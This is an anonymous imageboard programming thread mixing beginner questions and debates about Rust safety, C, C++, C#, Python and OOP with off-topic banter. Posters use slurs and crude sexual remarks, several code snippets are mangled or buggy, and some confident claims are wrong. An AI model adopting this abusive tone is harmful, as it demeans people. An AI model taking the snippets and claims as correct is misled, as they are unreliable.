/dpt/ - Daily Programming Thread

What are you working on, Cred Forums?


Previous Thread:

Other urls found in this thread:

ghostbin.com/paste/8gkra
ctyme.com/intr/cat-046.htm,
projecteuler.net/archives
madewithcode.com/projects/change/equality/code
plzoo.andrej.com/index.html
diveintopython.net
docs.python.org/2/tutorial/
twitter.com/SFWRedditImages

first for akaribbs[!!]

pls respond

>no anime image

What are you doing akari?

enum dir_tp {
NORTH,
EAST,
SOUTH,
WEST,
NO_DIRECTION
};
enum act_tp {
NO_ACTION,
THROW,
HIT,
SPECIAL_ACTIVATE,
ACTIVATE,
OPEN,
CLOSE,
MOVE,
ANY,
STOP
};
enum ent_tp {
NO_ENTITY,
SELF,
WALL,
STONE,
TARGET,
DOOR
};

struct act {
enum act_tp action_type;
enum dir_tp direction_type;
enum ent_tp entity_type;
};
struct act no_action = {STOP, NO_DIRECTION, NO_ENTITY};
struct act door_open = {MOVE, NORTH, SELF};
struct act door_close = {MOVE, SOUTH, SELF};

struct scr {
int num_actions;
enum act_tp trigger;
struct act *actions;
};
struct scr no_script = {1, ANY, &no_action};
struct scr open_script = {3, OPEN, &door_open};
struct scr close_script = {3, CLOSE, &door_close};

struct ent {
enum ent_tp type;
char *name;
char symbol;
int weight;
bool blocking;
int num_scripts;
struct scr *scripts;
};
struct ent no_entity = {NO_ENTITY, "", 'N', 0, true, 1, &no_script};


help I don't know what I'm doing any longer

ive been obsessing over buying a pair of stockings

will it really make me a better programmer

having a boner all the time might get distracting, but might also heighten the senses

Anyone wants to work on a side-project on Windows? Preferably on WinAPI in C/C++.

No

I'm not him and sadly I don't have a folder full of yuruyuris.

you must have your cravings taken care of so you can concentrate first by sitting on my lap user

I'm transferring files between my 2 computers through SSH, both at my house.

does the transfer speed depends on the my Internet connection?

It seems that pip isn't installed on my system.
Is it better to install it through the get-pip.py script or use my package manager?

How is this programming related?
Stupid frogposter

I'm looking for Schoolgirl Uniform to wear in order to amplify my Programming skills. I have a cute youthful face and a Full-bodied figure. Which type of Uniform could you kind Anons recommend for me?

>xir language doesn't allow encoding useful safety invariants in its type system

If only we could go back in time.

>penis.c
simpler times

>encoding useful safety invariants in its type system
ok when do i start working on the project

thats really impractical?

And we thought things could be so much better. If only we'd known how bad they'd end up being.

>he thinks this thread is related to actual programming

>image
Fuck off crossboarder

Comfy.

how many programming languages do people learn thoroughly usually?
and how many do you end up actually using day-to-day?

stupid frogposter
only 1 scheme unless you're a wagecuck

cuck

Is averaging two ints a computationally intractable problem?

int avg(int x, int y){
return (x + y) / 2;
}

No, it's limited by the speed of the network cabling, switches, and NICs between the two computers.

thank you, senpai

Intractable isn't really the right word for it. When we divide the entire space of "problems" into two categories: those solvable by computers, and those not solvable by computers, the averaging of two (2) integers falls into the latter.

>senpai
sick of weebs shitting up Cred Forums

Working on an image handling crate for Rust because the image crate's API is utter shit.

Just finished implementing encoding, if only specialization was stable I could throw away the nightly feature, but alas.

>he thinks memes can be confined to the artificial boundaries of boards

baka desu senpaitachi

>he doesn't know that f a m gets converted to senpai

hello réddit

what image operations are implied by image 'handling'

suck my cock user

Decoding, encoding, color space handling, proper partial views into buffers and whatever else I feel like I need.

It's supposed to be an extremely generic library to deal with images, so that other libraries can be based upon it to implement anything else.

Sounds neat. What you using the image library for?

It's the same as using encapsulation except the invariants are explicit and you'll get a type error if you violate them.

by decoding and encoding you mean like recognizing what format the hex values in the beginning amount to and following options etc, like is it jfif png etc?

...

I mean decoding from PNG, JPEG, whatever, into an usable buffer, and encoding from a buffer to PNG, JPEG, whatever.

Loading images to use in whatever I need, game, tools, shit.

Not tempted just to use a good C library for that shit?

he wasn't alone

huh?

I'm writing those tools in Rust, I don't want to use C libraries I'd have to wrap into safe wrappers, or litter the codebase with unsafe.

Besides I'm not implementing the decoders/encoders myself, hell, I didn't even write the color handling code.

It's just a crate filled with generic structures/functions that use other crates to do its thing.

It's basically glue.

>I don't want to use C libraries I'd have to wrap into safe wrappers, or litter the codebase with unsafe.
Why?

Why not just use a wrapper for some battle hardened C library for image processing?

Because that's boring, and adds a dependency that has to be handled by the system, which makes it even more annoying to deploy on Windows and the like.

Also this library is not about image processing, it's only for decoding/encoding and giving out an ergonomic API to deal with images.

Fair enough. Sounds pretty cool user.

One of Rust's major selling points is that you can rewrite that stuff purely in Rust instead of having to FFI to do anything natively. What do you gain? Security, obviously, but also a far nicer API.

Also the user can always use my library to load an image, and use that buffer with another image processing library, than turn it back into a buffer and use it to encode it, so whatever.

How do you make a image library provably secure with Rust without sacrificing performance btw?

In C# you generally need to use unsafe code do anything with images that's not utterly shit performance wise.

class Positionable { double x, y; }
class Player extends Positionable { String name; }

vs
class Position { double x, y; }
class Player { Position position; String name; }


Pick one Cred Forums

There's nothing about safe code that inherently means you're sacrificing performance. And even if you have 90% safe Rust and 10% unsafe, that's 90% of your code that you never have to consider if you're trying to debug a memory error.

I stopped caring about Haskell when I was introduced to the concept of monads. What a crock of shit. If your program can only modify state by inventing a higher-order abstraction that can't exist, like some kind of programming deity, then you are fucking wrong and the language is flawed. Same for type checking that basically says "the correct type is whatever the correct type is". That's what the error message said transcribed to words, but god forbid if i wrote in down in English instead of the meme Haskell runes that GHC marks me wrong.

Haskell is logical and category theory never lies my ass. Haskell is just as flawed as any other """functional""" language.

The second.
Always prefer composition over inheritance.

>There's nothing about safe code that inherently means you're sacrificing performance.
safely editing all the pixels in a bitmap in C# means doing a for loop over all of them. To do the for loop you need bounds checking to do it safely. Bounds checking it a big overhead.

Can rust avoid doing this somehow and still be safe?

What is the best frontend technology for an audience with shitty internet connections and why is it GWT?

Even Google abandoned GWT. That shit has been dead for years.

>frontend
literally anything, cache fegit

The latter, because you want to be able to write functions that operate on components without any concept of entities, in order to have components cleanly interacting.

Yeah, you have a higher-order function so that you can hide certain details of looping over pixels in a way that you don't need bounds checking but you're still exposing a safe API.

what are good resources (books, pdf, websites) to learn PHP?

I have moderate experience with scripting languages and web applications.

also, in Symfony framework good?

>Positionable

Will OOP stoop to any low?!

There are surely more important concepts to inherit from than a simple position.

Can't you check/clip the coordinates once, then iterate over the pixels without repeatedly checking the coordinates inside the loop?

What's worth doing on codecademy, done with python on it since it's python 2.x
So far I'm thinking
>learn git
>learn the command line
>HTML & CSS
>PHP

I'm just making a probably shit tier game suppose to be like the old RP dos games but more like a choose your own adventure thing

That's why they invented multiple inheritance

For such a thing as Positionable you would use implements aka an interface.

class Position { double x, y; }
class Positionable { abstract Position getPosition(); }
class Player { Position position; String name; Position getPosition() { return position; } }


Best of both worlds.

It's close to getting another release. It has 10 developer actively committing to it.
And the Java -> JS compiler is pretty damn solid on it's own.

You are going to tell me a multi page setup is going to not be total shit for ISDN level connections?
Well, you're wrong.

You just break the internet...

what kind of shit application requires pages
load it all at once nigga

>avg(0, 1)
>0

template
conditional::type avg(const T& x, const T& y) {
return (x + y) / static_cast(2);
}


This is why C++ is superior.

>avg(0,1)
>0

template
typename conditional::type
avg(const T& x, const T& y) {
return
static_cast(x + y)
/
static_cast(2)
;
}

Fix'd.

kek

Hey guys writing a CoC for my project, which identities (trans, people of size, otherkin, etc.) should I include to prevent bullying/harassment

Pic related: my doggo

>double
might not work

hey guys. Trying to study with this book, but the first example is already not working for me. Decorator pattern, I understand the idea and design, but the code is not running for me. Is it because I'm doing C# 3.0 examples on the newest VS (which supports C# 6.0, I believe)?

The error I get is "type or namespace IComponent not found".

Posting the code if anybody's interested.

using System;
2
3 class DecoratorPattern {
4
9 interface IComponent {
10 string Operation( );
11 }
12
13 class Component : IComponent {
14 public string Operation ( ) {
15 return "I am walking ";
16 }
17 }
18
19 class DecoratorA : IComponent {
20 IComponent component;
21
22 public DecoratorA (IComponent c) {
23 component = c;
24 }
25
26 public string Operation( ) {
27 string s = component.Operation( );
28 s += "and listening to Classic FM ";
29 return s;
30 }
31 }
32
33 class DecoratorB : IComponent {
34 IComponent component;
35 public string addedState = "past the Coffee Shop ";
36
37 public DecoratorB (IComponent c) {
38 component = c;
39 }
40
41 public string Operation ( ) {
42 string s = component.Operation ( );
43 s += "to school ";
44 return s;
45 }
46
47 public string AddedBehavior( ) {
48 return "and I bought a cappuccino ";
49 }
50 }
52 class Client {
54 static void Display(string s, IComponent c) {
55 Console.WriteLine(s+ c.Operation( ));
56 }
57
58 static void Main( ) {
59 Console.WriteLine("Decorator Pattern\n");
60
61 IComponent component = new Component( );
62 Display("1. Basic component: ", component);
63 Display("2. A-decorated : ", new DecoratorA(component));
64 Display("3. B-decorated : ", new DecoratorB(component));
65 Display("4. B-A-decorated : ", new DecoratorB(
66 new DecoratorA(component)));
67 // Explicit DecoratorB
68 DecoratorB b = new DecoratorB(new Component( ));
69 Display("5. A-B-decorated : ", new DecoratorA(b));
70 // Invoking its added state and added behavior
71 Console.WriteLine("\t\t\t"+b.addedState + b.AddedBehavior( ));
72 }
73 }
74 }

Why not?

also, wtf is "Display" on lines 62-70? Never seen it before, and I cannot find any info on it. Again, is it part of the old C#?

avg(10^1000, 10^1000)

>I'm doing C# 3.0 examples
Fucking why?

They've added so many features to the language that invalidate massive swaths of that version.

kore wa designu patteru

The definitive way to average two ints:
Add a new MSB to each number. Add the numbers.
Now the LSB signifies 1/2, so you can either shift back and chop the added MSB off or you can leave it.

>Yeah, you have a higher-order function so that you can hide certain details
sure, but you still need to apply those functions to the memory locations at some point.

In theory i guess, but can Rust do that?

10 isn't very much, and Google don't use for anything anymore after realising it was garbage. Enjoy those long compile times.

If you want static typing in web dev, use typescript.

Questions:
What percentage of the competent programming populace is female?
What percentage are traps?
Show me the average fem programmer

>apply those functions to the memory locations
???

I installed java on arch gnu/linux to help my friend learn it, got compiling and running working fine, but when I compile the executable isn't placed in the same directory as the source. Where are they placed, and can I make the executables reside in the same place as the source? Makes it much easier to manage files imo

Is that Invoke?
Seriously drop that old shit already, also the compiler is trying to tell you that it can't find the interface. Include that with a using statement to bring it in scope.

...

Has programming gotten you any pussy?

Drop that book. Read C# in Depth by Jon Skeet.

you need to apply those high order function to actual data at some point. And doing that safely requires some overhead in my experience.

I partly bonded with a qt by helping her with her javascript project years ago, and still talk about programming stuff with her.

Only girl a fucked : (. Would be a Wizard now if not for her.

If i cast a uint8_t to a uint16_t in C, what certainties do I have?
uint8_t a = 44;
uint16_t b = 44 * 256;
b = a;
Can I be certain that the 8 most significant bytes of b are now 0?
Is there a page in the c standard about this?

Okay, take map as an example. You give a function from pixel to pixel, and internally map doesn't need to do bounds checking when it reads/writes the image data.

10 xor 1000?

no, 10 to the power of 1000

right, only because that bounds checking is done inside map itself, which the language makes sure is safe. Map also requires making a new bitmap to map the previous bitmaps pixels into, which is a pretty large overhead.

>Can I be certain that the 8 most significant bytes of b are now 0?
>8 most significant bytes
>bytes
No. You can't be certain.

If you mean bits however, then yes.

write an inplaceMap function

The library developer asserts that the "unsafe" memory reads/writes inside the implementation of map are in fact correct and safe. To the user, it's safe by construction.

>Map also requires making a new bitmap to map the previous bitmaps pixels into, which is a pretty large overhead.
No?

What's garbage about it?

That's not what the ^ operator does though.

how do you write that safely though? The only reason "map" is safe is because it's part of the language itself and you are trusting the language to ensure it is safe.

I overloaded it

Latter.

New to python how can I improve my ROT bruteforce script
code : ghostbin.com/paste/8gkra

Where did you get the source code? I thought it was closed source.

What are you on about?
You can write higher order functions yourself with no worries. The parameter is a pixel -> pixel function. Where does the safety go?

You can't overload operators on primitive types user.

>The library developer asserts that the "unsafe" memory reads/writes inside the implementation of map are in fact correct and safe.
Sure, but we're talking about a writing a library that is provably safe, without using "unsafe" code.

>No?
Yes. That's the whole point of map. Unless the compiler can be smart and know that the bitmap it is mapping from will never be referenced again by any other code after the map is done. I'm not aware of any language that does that.

On some compilers

YOU can't. He however can.

By not using python. Every operation needs to be interpreted by a virtual machine which makes it slower than it could be.

That's not the unsafe part. It's the implementation of inplaceMap that will most likely need unsafe code, not the functions you pass to it.

nothing user it is beautiful!

Don't forget about integer promotion.
What you have is in fact:

uint8_t a = (uint8_t) int;
uint16_t b = (uint16_t) (int * int);

It's not provable within the language, but you cut down the occurrences of unsafe code so much that it's not difficult or even really necessary to prove at all.

About the whole mutability thing, Rust is very good at that.

>unsafe code
int x[10];

x[3] = 4;

What the fuck?
This is unsafe to you?

It's unsafe to do it without bounds checking in Rust because it doesn't have dependent types.

That's what I figured. Some user above was saying it could be provably safe without any performance overhead.

Nothing. What would be unsafe would be the code inside inplace Map.

You know the length yourself, it's part of the bitmap
What are you talking about?

Why do you think EVERYTHING is unsafe?

If you can, than its not standard C++.

But fine. Lets say you/he overloaded it. What is the return type?

Rule 1. Don't be a dick.

There. There's your code of conduct. You don't need to make 2 million rules that all boil down to "don't be a dick".

>You know the length yourself
If you expect the programmer to be in charge of making sure all code is safe, then all langugaes are 100% safe.

A multi-precision integer, that is defined as integral.

Well than the code at works perfectly and is wrong.

>bytes
yes I meant bits thanks

What the fuck?

std::vector v = ...

for (size_t i = 0; i < v.size(); ++i);
v += 3;


>unsafe

It's provably safe from the user's perspective, going on the assumption that all internal unsafe code is correct.

"Unsafe" just means "not provably safe" in some context. Usually that context is within the language itself, because it's possible (although potentially very difficult due to the language's design) to externally verify that any program meets some specification, and so "unsafe" would be meaningless.

haha alright, can you recommend any other source for design patterns in C#? Intermediate level, not too advanced.

avg(10^1000, 1+10^1000)

That doesn't even compile. You can't add an integer to a vector.

im writing a token system for access to online orders placed since we dont have a login system :O

Just use higher order functions


Could overload that
but I meant v[i] and 3.0f

>It's provably safe from the user's perspective
All code is provable from the users perspective.

What do you think "unsafe code" means?

Fine. Jeez.

template
typename conditional::type
avg(const T& x, const T& y) {
return
(x + y)
/
static_cast(2)
;
}


Here, happy now?

in haskell this is just

import Data.Ratio ((%))
avg x y = (x + y) % 2
-- % is not mod

In that case that is an example of unsafe code, because the compiler can't tell for sure if v[i] += 3.0 will overflow the vector or not.

>What do you think "unsafe code" means?
Unsafe in the same sense that butter knives are unsafe because I can kill myself with it if I stab myself with it hard enough.

Basically, I should be able to be a fucking retard and not have consequences, any language that doesn't allow me to be a fucking retarded idiot is unsafe.

Why the hell should I have to learn how to program properly?

whoops
avg x y = (x % 2) + (y % 2)
-- or
avg = (+) `on` (%2)

I mean the user of the library. It's not 100% provably safe within Rust from the library developer's perspective, but the stuff that can't be proven by the language is generally very minimal. Adding the features (dependent types) to do so would cause the complexity of the language to explode for what is, in practice, generally not that difficult for the programmer to manually verify. Resource safety is difficult to verify manually, and makes up a good deal of verification in practice, but Rust itself does a great job.

I just imagined an imaginary language where it calculates the avg without even writing any code.

This doesn't mean my imaginary language is better than haskell or C.
Your entire argument that haskell is better is that it requires less code to do the same thing.
Which is a flawed argument.

>Basically, I should be able to be a fucking retard and not have consequences, any language that doesn't allow me to be a fucking retarded idiot is unsafe.
"unsafe code" is just code that the compiler can't guarantee will never violate memory safety. Cause overflows or leaks etc. It has a very specific meaning in programming languages.

Don't spaz out over it.

Next week I'll be having a technical interview for an internship at a Python shop. My experience with Python is very limited. I can barely remember the different data types (dictionary, list, etc).

Could anyone suggest me a well rounded project that'll bring me up to speed with Python?

I just imagined you're wrong

Therefore you are

#include
#include

int main(int argc, char *argv[]) {
if (!argc>=2) return 1;
int len=strlen(argv[1]);
char *p=(char*)(argv[1]+len);
while(p-- > (char*)argv[1]) printf("%c", *p);
printf("\n");
return 0;
}


is this a dumb way to reverse a string? im sort of new no bulli

Java or Python as my first programming language? I'd learn the other one later, so job prospects don't matter too much to me, but I was just wondering which language would get me better situated as a beginning programmer.

I'd go with python

but make sure you learn Java or a statically typed language at some point.

Dynamic langugaes are just good for bigger programmers and shit for everything else. Don't become one of those shit programmers who unironically used them for everything.

C, then move to C#.

Your style is ugly.
Anyway, you should write a function for reversing.

Can't really win a game of chess against a pigeon. They just shit on the board and steal the pieces.
Kind of like you do with arguments.

So congratulations user! You win!

what do you mean ugly?
and what should the function do pls give me something to do i want to get better at C

Whoops, meant

yeah, i was just looking at some old posts on [spoiler]reddit[/spoiler], and that's what was suggested
don't worry, i'd learn java or c++ later on, just want to get into the flow of everything

Ugly as in hard to read.
Make spaces around binary operators.
The function should take a pointer to a source string, target string and put in target reversed source.

#include
#include

int main(int argc, char *argv[]) {
if (!argc>=2) return 1;

char *p = (char*)(argv[1] + strlen(argv[1]));

while(p-- > (char*)argv[1]) {
printf("%c", *p);
}
printf("\n");

return 0;
}


Fixed your style. However this doesn't actually reverse the string, it just prints it out in reverse. Instead of the print statement, make a swap function and call that. Swap the first and the last character, then the second and second to last character etc. This way you also only have to loop through half the string. Tip: The loop should go from 0 to len/2;

>SICP is pronounced SickP

#include
#include

int main(int argc, char *argv[]) {
if (!argc>=2) return 1;
int len=strlen(argv[1]);
char *p=(char*)(argv[1]+len);
while(p-- > (char*)argv[1]) printf("%c", *p);
printf("\n");
return 0;
}
fixed

So do any of you have experience with Learn Python the Hard Way?

senpaitachi
test

Actually no, i meant you user.

See my entire argument was that just because a language requires less code it doesn't make it good.
With the imagined language, i provided an example of a language that would by your argument be better than haskell.

Now you can either agree that this imagined language IS in fact better than haskell, or accept that your argument is flawed.

You did neither of those. What you did, was tried to make a clever and funny warp of my original argument that makes you seem witty and smart without actually engaging the argument.
At least you could have gone for "everybody knows you're wrong so i'm not even going to argue".

all i said was "in haskell this is just [...]"
calm down user, i'm not gonna continue to read your dumbass rants

>w-wtf, w-well i can imagine a language where no code does exactly this!
This is your fucking argument.
Fucking read it again and again until you acknowledge your own stupidity

>all i said was "in haskell this is just [...]"
This implies you never implied that haskell was a better language.
Which means you agree that less code doesn't imply a better language in general.
Next time just say so user.
Also using profanity and insults really does not help your credibility.

Source? I want to fap to those cute boys.

How do I get the first 5 characters of a string in Lua?

I tried this
strsub(str, 0, strlen(str) - 5)

>tfw no equivalent for Practical Common Lisp for Scheme
Common Lisp is too ugly to use desu

strsub(str, 0, 5)

No, there are a variety of reasons why Haskell is a better language that are evident from that snippet, but "in haskell this is just [...]" is in fact a /dpt/ meme you idiot

Ree

Thanks. The documentation is pretty confusing.

Here you go, insulting again. You're really hurting my feelings. Also i'm not even going to acknowledge your argument, all i'm going to do is complain about you insulting me. So you see how that feels.

There's nothing wrong with calling an idiot an idiot

>So you see how that feels.
are you 12?

>helping in lab
>students just start learning basic OOP
>have to implement a class with a few instance variables and some methods
>do my best to help them through it, most get it, a few stragglers
>get to actually having to instantiate the class and use the methods
>have to reteach a bunch of students how to do that because they either weren't in class, didn't take notes or just didn't understand
>no, you can't call the method until you create the object
>a few manage to create the object and successfully call one method, but for some reason, despite my best efforts to show parallels between the method they just successfully called and another method they're trying to call, they just can't see to grasp the dot notation and why you have to prepend the method call with the object name every time
>a few having a hard time understanding why the fuck you need a class and a separate driver for that class

/rant
I'm beginning to think starting people out on OOP is a mistake

What? Legally? Of course not.

>what is satire

How is OOP a difficult concept? It took me 10 mins to get though that might be because of my autism and indian parents.

OOP is shit

>a few having a hard time understanding why the fuck you need a class and a separate driver for that class
These are the smart ones, assuming your examples are just convoluted transformations of straight line code with no duplication into OOP.

And I believe that's a safe assumption to make because 99% of beginner OOP resources I've seen do this.

>I was merely pretending to be a retard

Well here we started out with functional programming and let me tell you, people had a lot more trouble grasping those concepts.

>satire
>the use of humour, irony, exaggeration, or ridicule to expose and criticize people's stupidity or vices, particularly in the context of contemporary politics and other topical issues.

>yes

Do you feel the strange need to be the last person to respond?

no

Good.

Yeah, it's where you have one file with only the class and no main, and then the driver file with the main that creates and uses the object. It's their first or second week using OOP, so I hope they catch on soon.

Will you try 256 or true color?

This version of BGI only supports 16 color, so that's not something I can do. I'd have to use winbgim or something.

Are these colors fine?
I wanted colorful parentheses for lisp.

Is there a list of challenges to implement in C, to prove that I know the language?

Check this ctyme.com/intr/cat-046.htm, look at VESA modes.

What's with all the faggotry in this thread?

An OS

Have you seen the ?

Shitposters that get mad everytime there's a pic like OP

It could be worse - you could have the students in my class who don't get variable declaration. I'm taking CS 1 (class above intro) and
int dollars = 4;
int money = dollars;

doesn't make sense to maybe a 1/4 of the class.

Granted this is at a community college (one I went to before) but I KNOW shit wasn't this bad before I transferred to university.

Best book for learning python?

I'm too stupid for all of this. :)

/dpt/-chan, daisuki~~

Ask your much beloved programming literate anything (IAMA).

Writing a implementation of C will prove that you know the language.

I prefer sexp highlighting (Webm)

Both are bad oop.

>you could have the students in my class who don't get variable declaration
I mean, I didn't say I didn't have them
double var = 2.0;
//later
double x = double var + 4.0; // NO

>double var + 4.0
Holy lel

What are some must have vim plugins, just got autosave comfy as fuck, mostly using vim for python and bash

Why are you using a deprecated language?

YouCompleteMe, emmet

this isn't actually so bad for someone just learning
i could imagine a language where this does something reasonable and useful

that looks good thanks

>fag uses racket

It takes logic and intelligence to teach too.

Look, if you use car as an example, it becomes something literally every idiot in the world can imagine.
You explain them that the class car is a concept of a car, as we all know cars.
Then you tell them you can't get in and drive the concept of a car.
You need an actual car, like a BMW, in order to drive it.

Then make the connection of the actual, physical car to the instance of a car-class and there you go, everyone gets it.

So hard?

Should I learn C or just stick with java?

Let's say I write a program in C which finds the optimum of a function using genetic algorithms.

However, the function is defined at runtime, through the parameters of the program. I could, of course, parse some mathematical notation, but I'd prefer to do it more intuitively. Of course, in windows you can pass objects (with methods and members) via piping, but not in Linux.

So, my initial thought is to let the user define an outside library and header which contains the fitness function, and to recompile and link for every problem they want to solve, however this doesn't satisfy the runtime requirement.

Anyone have ideas?

That's not even OOP at that point, that's not being able to understand basic abstraction.

What are your goals?

1 month into my first programming course which is going painfully slow.

Currently making a program that finds prime factors of a number, for fun. I feel like a toddler playing with Fisher Price toys

How do I become a 1337 haxxor

I really don't have any goals. I just want to learn how to program.

prime factorization doesn't actually sound very fun

Well, what do you want to program? Do you want want to do web development? Do you want to write drivers? Do you want to program robots? Do you want to make games?

in C you can't really construct functions at runtime, so you would need to create your own sub language for expressions with an AST type

like (Haskell):
data Expr = Lit Int | Add Expr Expr | Mult Expr Expr

>i want to learn how to cook
>"okay what do you wanna cook?"
>i don't want to cook anything, i wanna learn how to cook

I'm learning mysql, every time I query something the last result is a null row. Is this normal?

I only chose it because it's next up on this list

projecteuler.net/archives

The fun I'm getting out of it is being forced to, with my limited knowledge, REALLY sit down and think about what I logically have to do in order to solve the problem, THEN go out and find that functionality in Java through Google.

Right now I'm at the point where my program can find ALL factors of a number and stores them in an array.

Robots sounds very interesting. But I want to learn how to make basic desktop programs.

I have only an introductory background in assembly, but I know GCC allows inline assembly. Could you pass assembly instructions via command line and write the function in that?

When it's java, the inevitable set of "hello world" questions include:
> what is public?
> what is class?
> what is static?
> what is void?
> what is String?
> what are "[]"?
> what's "args" there for?
> what's System?
> what's ".out"?

And your answer pretty much has to be, "don't worry about that now, treat it like it's a black box that always has to be there until we get somewhat further, to a lot further in the course when it can start making sense".

No, that is not normal.

Are you sure you're actually getting a null row, or are you using some sort of odd program to query the database that shows an extra row in case you want to edit the results or something?

No, inline assembly means pure assembly code can be written in the code, not given by the runtime (and you probably don't want to muck around with JIT)

I recommend you do the AST thing or try another language

make omletes, bake bread, cook porkchop
that's how I would instruct somebody if they ask how to cook
while every question is the same, you can make every answer different
however, but really, what do you have any interest in AT ALL.
do you want to mod minecraft, rice your WM, want to write an OS for a Raspberry Pi? there's a ton of cool shit you can do with any number of languages

You're exactly right, but I don't see that as inherently a bad thing.

This is what I'm getting. I've been learning from mysqltutorial

I'm going to focus on app development for Android. Is there any reason in my case to use linux or macos over windows 10?

Yeah, that's normal for Workbench.

Notice the output at the bottom saying "4 rows returned". You're not actually return a null row.

You can ignore it.

[triggered]

not really no. The android SDK works well on all of them.

If you're interested in desktop applications (assuming some kind of GUI included), then I don't suggest C. Only linux people write desktop applications in C, and even then most users would prefer a CLI application anyways, but Windows applications are primarily written in .net language, primarily C#. Java is good for making desktop applications, but it seems like this year Microsoft has launched a full on assault on Java.

Robots are typically programmed in a low level language like C, since the microcontrollers which control the motors don't have an operating system to manage memory, so you have to do it manually in something like C. If you want to break into this field, find some friends who are into robotics, or get your own components and buy an Arduino Uno (which is programmed in C, but other compilers exist for Arduino as well).

That said, you CAN develop desktop applications in C. In linux, you can use gtk or qt, and on windows, you'd be best off figuring out the visual studio ecosystem, but I'm not sure how this is done nowadays. There used to be a windows.h file which gave you a GUI library but it's deprecated

What do you think of python? You can easily make desktop applications and program robots with it.

Yes, but he was asking about java vs c

Hey what do you fags think about google doing this

madewithcode.com/projects/change/equality/code

>environment equality peace poverty

It would be nice if it weren't for the constant political undertones

dont know what language that is but im thinking itd be a lot easier in python

Here's what the python equivalent of all that code looks like:

Anyone?
Also how to list the installed modules in python?

In C is it valid to chain several if statements with a single semicolon?

if (arr->subarr[i].a)
if (!strcmp(arr->subarr[i].a, needle))
return arr->subarr[i].b;

does that just mean money, and dollars both point to four

Sure, it's just nested statements. Although it's considered bad style. The proper way to do it would be to just && the conditions together. The behavior is exactly the same.

whats the gayest programming language

the one all those soylent drinking traps use

ruby

Ruby on Rails

ruby

import collections, string, csv

name = input('enter a file->')
handle = open(name, 'r')
table = str.maketrans('','',string.punctuation)
text = handle.read().lower()
text = text.translate(table)
words = text.split()


x = collections.Counter(words)


print (x.most_common())

filename = input('namethis.csv-->')

with open(filename, 'w') as resultFile:
writer = csv.writer(resultFile)
for row in x.most_common():
writer.writerow(row)

>pic related

30 most frequent words in nevermind

Why is showing your source code to someone so embarrassing?

It's like telling someone your dirty secrets.

ruby even sounds gay

probably Ruby

god that UI is sougly.

This is why free software isn't taken seriously.

>threadly reminder that this is Cred Forums and 99% of the people participating in these threads are autistic teenagers that haven actually developed anything professionally for only a single day of their life


>inbe4

Functional programming languages on building compilers (e.g. plzoo.andrej.com/index.html ) is full of code like this

expr' =
| Var of name
| Int of int
| Times of value * value


What I want to know is, how would this convert to pure C?

You forgot your trip

I'm I've actually been a professional developer for 3 years now. Ruby is shit.

While that is true, I'm one of those people and I've been a professional backend dev for years.

Is that a union?

C does not support anything like unions.

I'd guess you would use a struct that has a "type" field that has an int indicating what kind of data the struct is meant to be catting, and a "value" field that is a pointer pointing to the the actual data.

ruby is so gay

C++ (mainly not putting "struct" in variable names):
And I'm assuming "value" means expr', or similar

struct Expr;
enum ExprT { Var, Int, Times };

// you could use a bit of templates for this
struct ExprVar {
const char* Name; // assume name is const char*
}
struct ExprInt {
int Int;
}
struct ExprTimes {
Expr* l,r;
}

struct Expr {
ExprT type;
union {
ExprInt _int;
ExprVar _var;
ExprTimes _times;
}
}

why do weebs say desu so much, i looked it up and its just means like 'thats what it is'

Effectively, the way it works for simple ADTs is like this:

If it references itself, use a pointer and forward declare.
of a * b * c ... or Haskell: a b c -> struct { a ...; b ...; c ...; }

a | b | c -> struct { union { a ...; b ...; c ...; }; enum tagType { tA, tB, tC } tag; }

>being this new
>not knowing that all of the "desu"s on Cred Forums are actually from filthy normies

Because of Hiroshima Nagasaki's wordfilter

To be honest (T B H) is turned into desu, while family (F A M) is turned into senpai

desu senpai

>Hiroshima Nagasaki
very offensive
don't be rude to moot2.0

I think sleep-deprivation has boosted my programming skills
No more sleep for me!

>t. faggot webdeb

desu baka senpai

I always had this peak of productivity around 4 AM.

Doesn't work too well in my day job, though.

Since I got on a regular schedule I work best in the morning.
The time after lunch is the worst until my job is done at 5.
And by the time I'm home my productivity goes up again.

solidity

Because it's your skill level on display.
And there's no way to fake it without outright stealing code from others and pretending it's yours.

It's not unless your code sucks

That's funny, usually when I show my code people say
>mmm. nice work

>tfw you realize your clothes aren't shrinking

If python was compiled and had memory management, would it be a good language?

You could've easily used matplotlib/pyplot to create a nice plot yourself.

python is compiled and does have memory management.

if you're making fun of crashing qutebrowser with that picture, it's QtWebkit that's actually crashing.

no

He posts this image every thread.

He's basically avatarfagging as a blank white picture at this point.

Hello guys. you know I'm trying to learn Python right now but i barely know something about programming itself. So i'm stuck with a lot difficulties. Can you recommend me to read smth or learn smth about so i can improve myself? i know you can say smth like "use google or smth" but there is so much different info i don't know what to do with... I know this is not the place for such questions but still; wanna try._. Make fun of me is fine too.

If I have a list of edges in an adjacency list how would I detect redundant paths? As in given and edge list of:
( Class2.hpp -> Class1.hpp )
( main.cpp -> iostream )
( main.cpp -> Class1.hpp )
( main.cpp -> Class2.hpp )


How would I detect that main.cpp includes Class1 twice?

>smth
>smth
>smth
>smth

Maybe check out pic related.

You could store them as a set?

diveintopython.net

How would that help

go through the python docs
docs.python.org/2/tutorial/

It would be a horrible abortion.

...

So I'm trying to make a random number picker in python (between 1-100) and I don't think the way I plan on doing it is the best
from random import choice

one="1"
two="2"
three="3"
four="4"
five="5"
six="6"

output = one,two,three,four,five,six

print (choice(output))

That's only up to 6 is there a better way to do this? I'm guessing I'm just being retarded

It honestly sounds to me like either you or the professor aren't up to scratch to teaching the concepts.

Why did you call that file anal beads.png?

print(choice(range(1,101)))

Script ideas for a python beginner?

To make you read it.

pls respond

thanks

if it's your first time writing code this is a pretty understandable mistake desu

Why don't you faggots have a discord so people can work together and get their questions answered?!

And so I did, fuck you.

because this thread is better

IRC > Spycord

i'll be able to meet all my graduation requirements for a BS in computer science with honors by taking 7 credit hours a semester my 2 senior semesters. but, to be a full time student i need 12 credit hours a semester. graduating early is frustratingly not possible because of a single required fall-only course i didn't sign up for this semester for some reason. so i've come to see there are a couple paths i can take

option 1 is i can try to get a minor in something. if i do this, what should i minor in that goes well with comp sci? i absolutely hate math and statistics is the only thing with this, and those are the 2 most obvious minors. i looked at all the minor choices and none of them looked interesting

option 2 is i can take a bunch of underwater basket weaving type classes. this would greatly boost my overall GPA, but not my major. i'm already at a 3.88, so it could potentially push me over to a 3.96 and i get to round to 4.0 on resumes. oddly enough though, i've gotten A-'s in classes you'd think are easy A's like exercise

